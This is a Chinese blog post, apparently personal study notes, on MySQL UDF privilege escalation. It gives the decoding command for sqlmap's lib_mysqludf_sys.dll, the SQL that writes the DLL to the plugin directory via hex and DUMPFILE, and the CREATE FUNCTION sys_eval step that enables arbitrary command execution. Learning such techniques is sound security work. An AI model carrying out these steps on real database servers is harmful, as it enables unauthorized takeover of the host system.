UDF提权学习
前言
虽然udf提权是很早的东西了,但还是有必要学习操作一下,写的比较烂
简介
udf(User-Defined Functions)用户自定义函数
UDF是mysql的一个拓展接口。用户可以通过自定义函数实现在mysql中无法方便实现的功能,对MYSQL的功能进行扩充,性质就象使用本地MYSQL函数如abs()或concat()
,其添加的新函数都可以在sql语句中调用,就像调用本机函数一样,
Mysql版本 | 提权dll存放位置 |
---|---|
>5.1 | mysql根路径(select @@basedir)下/lib/plugin/ |
<5.1 | 系统目录c:\windows\system32下 |
UDF提权
然后就来快乐提权吧,源项目地址:
https://github.com/mysqludf/lib_mysqludf_sys#readme
然而sqlmap都准备好了:(以kali下为例)
udf.dll的是经过编码运算的,所以需要有一个解密脚本,在这个路径下下:
/usr/share/sqlmap/extra/cloak
udf的存放位置为(这里可以选择不同系统和不同位数,注意这个是mysql的位数而不是系统位数)
/usr/share/sqlmap/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_
然后在解密脚本路径下执行命令
cloak.py -d -i /usr/share/sqlmap/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_
会在udf路径下生成lib_mysqludf_sys.dll
将这个dll根据不同版本的mysql放入不同路径,以windows phpstudy为例:
在mysql根路径下/lib/plugin(没有的就新建文件夹:)放入dll文件:
这样本地就放入dll了
如果是远程的mysql并且有写入权限的话 (用@@secure_file_priv查看)只要返回不是NULL就有写权限,可以在my.ini加入secure_file_priv= 开启
那么就可以这样,先将dll转换为十六进制便于传输
SELECT hex(load_file('本地lib_mysqludf_sys.dll路径')) into dumpfile 'E:/gg.txt';
然后在远程mysql中创建一个表,用来存放dll:
CREATE TABLE udftmp (c blob); //新建一个表,名为udftmp,用于存放本地传来的udf文件的内容。
INSERT INTO udftmp values(unhex('udf文件的16进制格式')); //在udftmp中写入udf文件内容
SELECT c FROM udftmp INTO DUMPFILE '该存放的路径'; //将udf文件内容传入新建的udf文件中,路径根据自己的@@basedir修改
//对于mysql小于5.1的,导出目录为C:\Windows\或C:\Windows\System32\
参考文章:https://blog.csdn.net/x728999452/article/details/52413974
但是如果mysql>5.1,而又没有lib文件夹就比较鸡肋,尝试用$INDEX_ALLOCATION创建文件夹却失败
这个有待研究,可能师傅们还有其他操作吧我暂时还没找到解决方法(菜
回到本地mysql,我们已经成功在/lib/plugin/下放入了dll,然后执行:
create function sys_eval returns string soname 'lib_mysqludf_sys.dll';
攻击者可以利用lib_mysqludf_sys提供的函数执行系统命令。
函数:
sys_eval,执行任意命令,并将输出返回。
sys_exec,执行任意命令,并将退出码返回。
sys_get,获取一个环境变量。
sys_set,创建或修改一个环境变量。
执行后就可以命令执行了:
(站还没拿下就nm提权)
今天是清明节,为那些因为新冠逝世的人们默哀